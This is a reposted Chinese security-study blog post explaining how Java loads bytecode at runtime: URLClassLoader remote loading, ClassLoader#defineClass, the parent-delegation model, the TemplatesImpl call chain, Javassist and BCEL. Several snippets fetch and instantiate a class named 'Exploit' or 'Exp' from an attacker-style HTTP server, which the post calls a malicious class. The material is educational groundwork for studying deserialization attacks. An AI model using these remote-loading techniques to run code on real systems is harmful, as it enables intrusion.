java安全学习-Java中动态加载字节码的方法

admin 2025年5月29日16:42:20评论4 views字数 7157阅读23分51秒阅读模式

Java中动态加载字节码的方法

1、利用 URLClassLoader 加载远程class文件

public static void main(String[] args) {
    try {
        //使用file协议在本地寻找指定.class文件
        //URL[] urls = new URL[]{new URL("file:///Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/")};
        //使用http协议到远程地址寻找指定.class文件
        URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/")};
        URLClassLoader urlClassLoader = new URLClassLoader(urls);
        Class clazz = urlClassLoader.loadClass("Exploit");
        clazz.newInstance();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

2、利用 ClassLoader#defineClass 直接加载字节码

2.1 双亲委派模型

java安全学习-Java中动态加载字节码的方法
img

BootstrapClassLoader:启动类加载器/根加载器,负责加载 JVM 运行时核心类,这些类位于 JAVA_HOME/lib/rt.jar 文件中,我们常用内置库 java.*.*都在里面。这个 ClassLoader 比较特殊,它其实不是一个ClassLoader实例对象,而是由C代码实现。用户在实现自定义类加载器时,如果需要把加载请求委派给启动类加载器,那可以直接传入null作为 BootstrapClassLoader。

ExtClassLoader:扩展类加载器,负责加载 JVM 扩展类,扩展 jar 包位于 JAVA_HOME/lib/ext/*.jar 中,库名通常以 javax 开头。

AppClassLoader,应用类加载器/系统类加载器,直接提供给用户使用的ClassLoader,它会加载 ClASSPATH 环境变量或者 java.class.path 属性里定义的路径中的 jar 包和目录,负责加载包括开发者代码中、第三方库中的类。AppClassLoader 可以由 ClassLoader 类提供的静态方法 getSystemClassLoader() 得到。

ClassLoader.getParent() 可以获取用于委派的父级class loader,通常会返回null来表示bootstrap class loader。

2.2 双亲委派模型的代码实现

java安全学习-Java中动态加载字节码的方法如上图,实现双亲委派的代码都集中在 java.lang.ClassLoader#loadClass()方法中,其逻辑如下:

先检查是否已被加载过;

若没有加载过则调用父加载器的loadClass()方法;

若父加载器为null则默认使用启动类加载器(Bootstrap ClassLoader)作为父加载器;

如果父加载器加载类失败,抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。(findClass()最终会调用defineClass()加载字节码)

:::tips 注意:

这里的“双亲”,指的并不是有两个父加载器,可能仅仅是英文“parent”的翻译。每个ClassLoader最多有一个父加载器,也就是parent变量。“双亲委派机制”指的就是优先让父加载器去加载类,如果父加载器没有成功加载到类,才由本ClassLoader加载。

这样可以保证安全性,防止系统类被伪造(比如自定义java.lang.Object类,肯定是无法运行的)。

对于Java程序来讲,一般的类是由AppClassLoader来加载的,而系统类则是由BootStrapClassLoader加载的。由于BootStrapClassLoader是在native层实现的,所以调用系统类的getClassLoader()方法会返回null。

:::

2.3 自定义ClassLoader

java.lang.ClassLoader是一个抽象类。创建一个继承自ClassLoader的类,并重写findClass()方法实现类的加载,即可完成自定义ClassLoader。示例如下:

public class MyClassLoader extends ClassLoader {
    private String dirPath;

    @Override
    public String getName() {
        return "MyClassLoader";
    }

    public MyClassLoader(String dirPath) {
        if (!dirPath.endsWith("/") && !dirPath.endsWith("\")) {
            dirPath += "/";
        }
        this.dirPath = dirPath;
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        String filePath = dirPath + name.replace('.', '/') + ".class";
        byte[] b;
        Path path;
        try {
            path = Paths.get(new URI(filePath));
            b = Files.readAllBytes(path);
            // defineClass将字节数组转换成Class对象
            return defineClass(name, b, 0, b.length);
        } catch (IOException | URISyntaxException e) {
            e.printStackTrace();
            return null;
        }
    }
}

3、URLClassLoader (远程加载 Class 文件)

这个加载方式最大的特点就是可以远程进行加载,我们在 VPS 上启一个 http 服务,把恶意类放在 http 服务下,可以实现远程加载。

import java.net.URL;
import java.net.URLClassLoader;

public class test04 {
    public static void main(String[] args) throws Exception {
        // 一个 URL 地址, 这里是一个数组类型
        URL[] urls = {new URL("http://192.168.1.5:80/")};

        // 使用 URLClassLoader 加载远程 class 文件
        Class clazz = new URLClassLoader(urls).loadClass("Exp");

        // 初始化我们的恶意类
        clazz.newInstance();
    }
}

4、defineClass() 加载字节码

不管是加载远程class文件,还是本地class文件,Java都经历了下面三个方法的调用:

java安全学习-Java中动态加载字节码的方法
img

:::tips 其中:

loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass

findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass

defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java 默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中。

:::

使用ClassLoader#defineClass()直接加载类字节码的示例:

package com.govuln;
import java.lang.reflect.Method;
import java.util.Base64;
public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = 
ClassLoader.class.getDeclaredMethod("defineClass", String.class, 
byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = 
Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA
Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs
bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh
L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry
ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n
OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA
AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = 
(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 
0, code.length);
        hello.newInstance();
   }
}

ClassLoader#defineClass()被调用时,Class对象并不会被初始化,只有显示调用其构造方法,初始化代码才能被执行。即使将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。因此,如果要使用defineClass()在目标机器上执行任意代码,需要想办法调用构造方法。

5、利用 TemplatesImpl 加载字节码

这里还是记录下主要是从下面这两篇文章抄的

这个漏洞的触发点在 TemplatesImpl.newTransformer() 方法中,我们来看具体的代码。

java安全学习-Java中动态加载字节码的方法
img

跟到getTransletInstance里去看看

java安全学习-Java中动态加载字节码的方法这里要求_name不能为null否则就直接返回null了_class必须为null否则进不去defineTransletClasses方法里java安全学习-Java中动态加载字节码的方法

这里主要在这个for循环里有defineClass方法里跟进去看看

java安全学习-Java中动态加载字节码的方法
img

继续跟进去

java安全学习-Java中动态加载字节码的方法
img

最终还是调用java原生的defineclass加载类,记录下调用链

TemplatesImpl.newTransformer()
    getTransletInstance()
        defineTransletClasses()
            defineClass()
                ClassLoader.defineClass()               

参考:Java安全漫谈 - 13.Java中动态加载字节码的那些方法.pdf

https://www.lianqing.xyz/?p=561

6、Javassit库:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。 能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。 Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

向Maven的Pom.xml文件中,添加以下字段,以导入依赖:

<!-- https://mvnrepository.com/artifact/javassist/javassist -->
<dependencies>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.1.GA</version>
</dependency>
</dependencies>

在这个包中,主要调用到的方法是:

ClassPool:

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

CtClass:

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

示例:

获取字节码:

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();

7、BCEL加载字节码

这里因为学习fastjson要用到bcel字节码所以这里学习下如何利用bcel加载字节码

这里我们先准备一个恶意类

package com.ocean;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BcelLoad {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        JavaClass javaClass = Repository.lookupClass(Evil.class);
        String encode = Utility.encode(javaClass.getBytes(), true);
        System.out.println(encode);
        new ClassLoader().loadClass("$$BCEL$$" + encode).newInstance();
    }
}

来跟一下调用流程

java安全学习-Java中动态加载字节码的方法
img

跟到loadclass里会调用这个creatClass方法跟进去

java安全学习-Java中动态加载字节码的方法
img

createClass()中,通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组(decode方法参数uncompress用来标识是否为zip流,当为true时走zip流解码)。之后生成Parser解析器并调用parse()方法进行解析,并生成JavaClass对象。

java安全学习-Java中动态加载字节码的方法
img

之后在调用defineclass方法进行加载,后面就是调用newinstance进行初始化加载静态代码块了

参考:https://www.lianqing.xyz/?p=561

原文始发于微信公众号(0xh4ck3r):java安全学习-Java中动态加载字节码的方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月29日16:42:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全学习-Java中动态加载字节码的方法https://cn-sec.com/archives/4111799.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息